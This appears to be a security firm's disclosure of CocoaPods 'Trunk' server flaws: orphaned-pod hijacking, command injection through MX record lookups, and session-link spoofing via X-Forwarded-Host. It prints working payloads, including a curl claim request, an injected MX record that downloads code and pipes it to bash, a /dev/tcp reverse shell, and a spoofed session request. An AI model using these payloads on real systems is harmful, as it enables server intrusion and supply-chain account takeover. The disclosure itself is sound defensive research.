Open source code is ubiquitous in modern software development. When reviewing client code, it’s not unusual for us to find that 70-80% is composed of open source libraries, packages, or frameworks. While adoption of open source is practically inevitable, it also increases the risk of software supply chain attacks. Once an open source package is integrated into a company's continuous integration and continuous delivery (CI/CD) pipeline, there is a risk that the package could be compromised or manipulated to inject malicious code or vulnerabilities into any applications built using that pipeline. In recent years, many such attacks have occurred (Log4Shell is probably the most famous example).
With about 100,000 libraries used in over 3 million mobile apps, CocoaPods is an open source dependency manager for Swift and Objective-C projects. Dependency managers such as CocoaPods and others (including NPM, Maven, and PyPI) play a critical role in open source software supply chains. By checksumming and cryptographically signing packages, they allow developers to verify the integrity and authenticity of the components they’re using. However, compromise of the dependency manager itself poses a severe threat. Attackers who infiltrate the servers or developer accounts of these tools could push malicious updates that spread widely.
As part of a red team exercise for a customer, we have discovered several critical vulnerabilities in the mechanisms used to manage packages and verify their owners on the CocoaPods server.
The short answer is that a significant percentage of the Swift and Objective-C application ecosystem (including iOS, macOS, and other Apple device software) was susceptible to supply chain and zero-click attacks, with an estimated range of thousands to millions of apps.
As with many software supply chain attacks, opaque dependencies in closed-source code mean it is almost impossible to understand the potential harm. The vulnerabilities we discovered could be used to control the dependency manager itself, and any published package.
Downstream dependencies could mean that thousands of applications and millions of devices were exposed over the last few years.
Special attention needs to be paid to software that relies on orphaned CocoaPod packages (i.e., which do not have an owner assigned to them - more on this below).
<figure class="w-richtext-align-fullwidth w-richtext-figure-type-image"><div><img src="https://eva-research.imgix.net/EVA_Infographics_gif1.gif" loading="lazy" alt="" class="medium-zoom-image"></div></figure>
CocoaPods is the most popular choice among iOS developers. Many of the potentially impacted artifacts are dependencies for projects maintained by major companies such as Google, GitHub, Amazon, Dropbox, and more - which puts the projects and downstream dependencies at risk.
These potential affected end-user apps deployed on millions (billions?) of devices could damage users and companies reputations. Many applications can access a user’s most sensitive information: credit card details, medical records, private materials, and more. Injecting code into these applications could enable attackers to access this information for almost any malicious purpose imaginable - ransomware, fraud, blackmail, corporate espionage… In the process, it could expose companies to major legal liabilities and reputational risk.
Developers and organizations are advised to review dependency lists and package managers used in their applications, validate checksums of third-party libraries, perform periodic scans to detect malicious code or suspicious changes, keep software updated and limit use of orphaned or unmaintained packages.
If CocoaPods was in use in your organization before October 2023, you should take extra care to perform the steps detailed under Technical Remediation Steps.
We informed CocoaPods and provided the full details of the vulnerabilities according to the responsible disclosure guidelines which since patched.
A Podspec is a specification file used by CocoaPods to describe a package, known as a Pod. It includes metadata like the name, version, source files, dependencies, and other information required to correctly integrate that Pod into an iOS or macOS project. When contributing a Podspec to CocoaPods, the authors are required to register an account. In their account, they can store and maintain their Pods and Podspecs. Authors are entitled to upload new packages and update existing ones.
Cocoapods originally identified the authors using their GitHub-associated accounts. In May 2014, CocoaPods announced a migration to a new 'Trunk’ server, which now acts as a centralized repository and distribution platform for CocoaPods. The migration would allow Podspec authors to publish their Pods and make them available to the community using a new web service application. The new flow included email validation, and was probably meant to improve security.
As part of the migration, authorship of all previously uploaded Pods was reset. Authors were asked to claim ownership of their Pods in order to retain control over their contents. However, many of the original Podspec authors did not do so, resulting in many pods left unclaimed (orphaned). At the time of this writing, there are 1,866 orphaned pods.
By analyzing the source code of the ‘Trunk’ server, we noticed that all orphan pods were associated with a default CocoaPods owner, and the email created for this default owner was [email protected].
In addition, we noticed that the public API endpoint to claim a pod was still available and the API allowed anyone to claim orphaned pods without any ownership verification process.
By making a straightforward curl request to the publicly-available API, and supplying the unclaimed targeted pod name, the door was wide open for a potential attacker to claim any or all of these orphaned Pods as their own:
# Curl request for changing ownership of a targeted orphaned pod
curl -X 'POST' \
-H 'Host: trunk.cocoapods.org' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-binary 'owner[name][email protected]'
--data-binary 'pods[]=[TARGET_UNCLAIMED_POD]&button=SEND'
'https://trunk.cocoapods.org/claims'
At this point, the attacker would be able to manipulate the source code or insert malicious content into the newly-claimed Pod. This pod would then go on to infect many downstream dependencies, and potentially find its way into a large percentage of Apple devices currently in use.
Many of these unclaimed Pods are still in wide use. Orphaned Pods are used as dependencies of many other packages available on CocoaPods. For example, we found mentions of orphaned Pods in the documentation or terms of service documents of applications provided by Meta (Facebook, Whatsapp), Apple (Safari, AppleTV, Xcode), and Microsoft (Teams); as well as in TikTok, Snapchat, Amazon, LinkedIn, Netflix, Okta, Yahoo, Zynga, and many more. Overall we found 685 Pods that had an explicit dependency using an orphaned Pod; doubtless there are hundreds or thousands more in proprietary codebases. All of these were, at some period or another, vulnerable to the supply chain attack described below.
By taking ownership of a part of the iOS/macOS app supply chain, and based on the documented dependencies we mentioned above, an attacker would have free reign to access millions of mobile apps and the hundreds of millions of people that use them.
On February 8, 2014, a change was committed to the CocoaPods ‘Trunk’ source code, implementing MX record validation to registered emails. These changes created a new attack path that was identified by analyzing the registration flow.
The changes include a new verification process for the user-provided email address, utilizing a third-party ruby gem package rfc-822.
The validates_mx_records method declared through lines 70-73, calls RFC822.mx_records method.
Unfortunately, RFC822 has several vulnerable methods:
Lines 36-47 - mx_records method receives an email address as input parameter, validates it against the module’s EMAIL regex pattern (line 38). Following the regex validation, the raw_mx_records method is called with the domain part of the email address, split from the provided email address (line 41)
Lines 49-51 - raw_mx_records method receives the domain part of the email address and forwards it to host_mx method for online DNS MX record validation. The output is executed against a regex pattern to obtain the relevant host.
Lines 53-55 - host_mx method executes an arbitrary OS command ‘/usr/bin/env host -t MX #{domain}’, concatenating it with the user-provided email’s domain which makes it vulnerable to a Command Injection attack.
<figure class="w-richtext-align-fullwidth w-richtext-figure-type-image"><div><img src="https://eva-research.imgix.net/EVA_Infographics_gif3.gif" loading="lazy" alt="" class="medium-zoom-image"></div></figure>
To pop a new reverse shell from the ‘Trunk’ server, we needed to come up with the following set of payloads:
Email address to register with:
<span class="cool-inline">[email protected]|bash</span>
MX record of pwn.evaresearch.com:
<span class="cool-inline">10 a||{curl, -s,http://serve.evasecresearch.com/payload.txt}|bash||.com</span>
Serve the following payload file at http://serve.evasecresearch.com/payload.txt:
<span class="cool-inline">sh -i >& /dev/tcp/SERVER/1337 0>&1</span>
As mentioned earlier, the method rfc-822.rb#host_mx is executing OS ‘host’ command against the provided email address without proper validation, allowing us to inject a trailing ‘bash’ command (|bash) against any resolution of our controlled MX record domain. This means that any MX record resolution value containing a valid bash command syntax will be executed on the ‘Trunk’ server in the context of the ‘host’ command.
In our example above, we’ve served a reverse shell payload (payload.txt file) via our controlled HTTP server.
<b>For a comprehensive exploration of the research process behind this vulnerability, click here</b>
If an unauthorized threat actor compromises the server, they could potentially dump all pod owners’ session tokens, poison client’s traffic or even shut down the server completely.
Several HTTP headers present opportunities for attackers, notably including HTTP smuggling and desynchronization attacks (credit to James Kettle for research around those interesting topics). These attacks exploit variations in how servers and proxies interpret headers, enabling malicious requests to deceive systems, and potentially leading to unintended actions or security bypasses.
<figure class="w-richtext-align-fullwidth w-richtext-figure-type-image"><div><img src="https://eva-research.imgix.net/EVA_Infographics_gif2.gif" loading="lazy" alt="" class="medium-zoom-image"></div></figure>
CocoaPods authenticates a new device through a session creation process. This starts with a request sent by the client to the ‘Trunk’ server in order to obtain a session. The client provides only its email address as the authentication method; however, the session will not be valid until the owner visits a link sent to their mailbox.
According to MDN: “The X-Forwarded-Host (XFH) header is a de-facto standard header for identifying the original host requested by the client in the Host HTTP request header”.
We found that the server will accept a spoofed XFH header and use it explicitly to construct a URL sent to the client for verifying the session.
For example, an attacker can inject the following header to spoof the generated session validation link:
X-Forwarded-Host: research.evasec.io → https://research.evasec.io/sessions/verify/[TOKEN]
The vulnerability exists in the ‘Trunk’ server source code, in the sessions_controller class where the application is constructing the session validation url.
Lines 21-22 - The domain part of the session verification URL is constructed using the request.host_wth_port method. Also, a new session is created and the generated link is sent via email.
Further analysis of the request.host_wth_port Rack (Rails) method reveals that the method implementation prioritizes the X-Forwarded-Host header over the original Host header or any other environment value to determine the hostname of the web server.
To exploit this vulnerability, an attacker can send the following request including the spoofed XFH header:
POST /api/v1/sessions HTTP/1.1
Host: trunk.cococapods.org
Content-Type: application/json; charset=utf-8
Accept: application/json; charset=utf-8
User-Agent: CocoaPods/1.12.1
Accept-Encoding: gzip, deflate
X-Forwarded-Host: research.evasec.io
Content-Length: 78
{
"email":"[email protected]",
"name":"EVAResearch",
"description":null
}
The email generated by the CocoaPods ‘Trunk’ server will include a URL with the spoofed domain as specified above:
After receiving the session validation token, it’s possible to access the new link to validate the session and take over the account:
You might be asking: wait, this is a regular one-click attack, where’s the zero-click?
To ‘upgrade’ the attack into a zero-click account takeover we needed the session validation link to be sent automatically from the user’s email inbox to our servers. How would we do that?
Nowadays, almost every organization or even the email provider themselves is implementing email security products that are responsible for protecting the mailboxes of its employees from unwanted phishing links. The solutions can detect advanced and clever phishing attacks by just scanning the HTML content and comparing it against dozens of phishing templates they are already familiar with.
Can we use those capabilities to make the email solution scan the spoofed CocoaPods session validation link for a potential phishing attempt and by doing so we will get the token?
We have found that almost every Pod owner is registered with their organizational email on the Trunk server, which makes them vulnerable to our zero-click takeover vulnerability. For example, Amazon dev emails are registered under their organization’s email system as can seen below:
From this point, it was quite simple to take over almost every organizational pod account in the system, since their email security solutions are actively scanning every link sent to their inboxes.
In the screenshot below, we are demonstrating multiple session validation tokens that have been sent to us, meaning we have successfully taken over accounts in the system and we are now controlling them.
Compromising a victim’s account will result in a full takeover of the CocoaPods owned by the account. The threat actor could manipulate pod specifications, disrupt the distribution of legitimate libraries, or cause widespread disruption within the CocoaPods ecosystem.
Using this method, we managed to take over the owner accounts of some of the most popular CocoaPods packages. Potentially we could have used these accounts for highly damaging supply chain attacks that could impact the entire Apple ecosystem.
The vulnerabilities discovered in CocoaPods serve as an important reminder of the risks associated with relying on open-source code and third-party dependencies.
Today’s software supply chains are incredibly complex, and open-source libraries are deeply integrated into most applications via automated CI/CD pipelines; even when installed on developers’ local machines, malicious code can be used to reach other resources through lateral movements. There is no avoiding this in 2024, but it is important to remain aware of the potential consequences. Insight into the composition of your application code is paramount, as is ensuring the validity and reliability of any open-source dependencies.
Package managers serve an important role in making open-source software available. But they can also become central point of failures and hence require an added layer of vigilance. The CocoaPods team responded responsibly and swiftly to the vulnerabilities once disclosed. However, organizations must be aware of this potential attack surface, and stay informed of the various package and dependency management tools used by developers.
While there is no direct evidence of any of these vulnerabilities being exploited in the wild, evidence of absence is not absence of evidence.
Potential code changes could affect millions of Apple devices around the world across iPhone, Mac, AppleTV, and AppleWatch devices. Hence, developers who have released applications for any of these platforms should take the following steps to secure their code: